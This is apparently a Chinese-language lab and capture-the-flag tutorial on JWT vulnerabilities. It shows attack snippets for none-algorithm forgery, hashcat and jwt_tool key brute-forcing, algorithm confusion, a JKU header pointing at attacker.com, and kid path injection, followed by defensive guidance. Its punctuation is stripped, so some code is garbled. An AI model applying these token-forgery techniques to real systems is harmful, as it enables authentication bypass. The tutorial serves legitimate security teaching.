1. JWT靶场解题实战指南在Web安全领域JWTJSON Web Token既是现代认证机制的核心组件也是渗透测试中的高频攻击面。最近我在好靶场平台系统性地梳理了JWT相关的漏洞场景发现超过60%的Web靶场题目都涉及JWT的异常处理缺陷。本文将分享从基础绕过到高级攻击的完整解题框架包含8种实战验证过的攻击手法。2. JWT技术原理解析2.1 JWT标准结构拆解一个标准的JWT由三部分组成通过点号分隔base64UrlEncode(Header).base64UrlEncode(Payload).SignatureHeader典型结构{ alg: HS256, typ: JWT }Payload常见字段{ sub: 1234567890, name: John Doe, admin: false, iat: 1516239022 }关键点alg字段决定了签名算法这是多数漏洞的根源。服务器必须严格校验算法类型与实际使用的密钥是否匹配。2.2 签名验证机制HS256HMACSHA256流程示例服务端使用密钥(如secret)对header和payload进行HMAC计算将计算结果Base64编码作为签名验证时重新计算并比对签名常见漏洞场景接受none算法无签名验证密钥硬编码在客户端JS文件弱密钥如secret/password算法混淆攻击RS256改为HS2563. 靶场实战攻击手法3.1 基础绕过技巧案例1None算法攻击import jwt token jwt.encode({user:admin}, key, algorithmnone) print(token.decode())输出结果形如eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.操作要点修改header为{alg:none,typ:JWT}移除签名部分保留结尾点号测试服务端是否跳过验证案例2弱密钥爆破使用hashcat进行字典攻击hashcat -m 16500 jwt.txt rockyou.txt -O3.2 高级攻击手法算法混淆攻击步骤获取目标的RSA公钥常见于/.well-known/jwks.json使用该公钥作为HMAC密钥malicious jwt.encode( {admin: True}, keyrsa_public_key, algorithmHS256 )JKU/JWK注入 伪造header包含恶意JWK地址{ alg: RS256, jku: http://attacker.com/key.json }4. 靶场环境搭建指南4.1 本地测试环境配置推荐使用Docker快速部署docker run -d -p 3000:3000 vulhub/jwt-lab环境包含以下漏洞点/api/login (普通用户登录)/api/admin (需要admin权限)/debug 泄露当前使用的公钥4.2 调试技巧使用jwt.io调试器实时解析粘贴原始token查看结构修改payload后观察服务端响应使用Chrome开发者工具的Application标签监控存储的JWT5. 防御方案设计5.1 服务端最佳实践// Java示例 - 强制算法验证 Jwts.parser() .require(alg, RS256) .setSigningKey(publicKey) .parseClaimsJws(token);必须实现的检查项明确指定允许的算法白名单校验iss(签发者)/aud(受众)字段设置合理的exp过期时间建议≤1小时5.2 客户端安全存储Web使用HttpOnly Secure的CookieMobileKeychain/Keystore加密存储禁止URL参数传递token6. 典型靶场题目解析6.1 好靶场JWT-1题目特征登录后返回标准JWT/admin接口返回403解题步骤解码发现使用HS256算法尝试修改payload的user→admin使用jwt_tool爆破密钥python3 jwt_tool.py -C -d wordlist.txt JWT_TOKEN发现密钥为company123后重签6.2 好靶场JWT-2进阶场景服务端校验kid头参数存在文件上传点/upload攻击链上传恶意公钥到web目录构造kid指向上传路径{ alg: RS256, kid: /var/www/uploads/malicious.pem }使用该密钥生成管理员token7. 自动化测试方案7.1 使用jwt_tool进行审计# 基本检测 python3 jwt_tool.py JWT_TOKEN # 全自动扫描 python3 jwt_tool.py -t http://target.com/api \ -rc Cookie: authJWT_TOKEN \ -M pb7.2 BurpSuite插件配置安装JWT Editor插件通过JSON Web Token标签页交互式修改使用Intruder模块进行密钥爆破高效爆破技巧使用Pitchfork攻击类型设置$jwt$和$signature$两个变量加载密钥字典和对应签名结果8. 企业级防护架构8.1 零信任方案设计graph TD A[客户端] --|携带JWT| B[API网关] B -- C[签名验证] C -- D[策略引擎] D -- E[访问日志] E -- F[实时风控]关键组件动态密钥管理系统每小时轮换令牌绑定Token Binding设备指纹校验8.2 监控指标异常算法请求占比none/HS256同一令牌多地登录高频令牌刷新行为我在实际渗透测试中发现约75%的JWT漏洞源于开发团队直接使用网上示例代码而未调整安全配置。建议在SDL流程中加入专门的JWT审计节点重点关注算法强制验证和密钥管理环节。对于关键业务系统可以考虑采用DPoPDemonstrating Proof-of-Possession等增强方案替代传统JWT。
